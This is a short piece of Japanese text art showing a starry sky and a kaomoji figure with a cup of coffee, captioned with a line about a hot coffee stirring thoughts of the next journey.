ﾟ. ｏ * 。 ﾟ。 ﾟ.。 ﾟ。 +ﾟ 。 ﾟ
ﾟ ` .ﾟ . . ﾟ. . ﾟ . ﾟ . ,
. . 。 . , 。
ﾟ
｡ﾟ 日
(*'∀`)ノ ∫ ○ ∠〆～_-ワ
人＿',ﾍﾍ へ.aノ人 《*)ゞ≦0《*)
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一杯の熱い珈琲が 次の旅へと 想いを走らせる。
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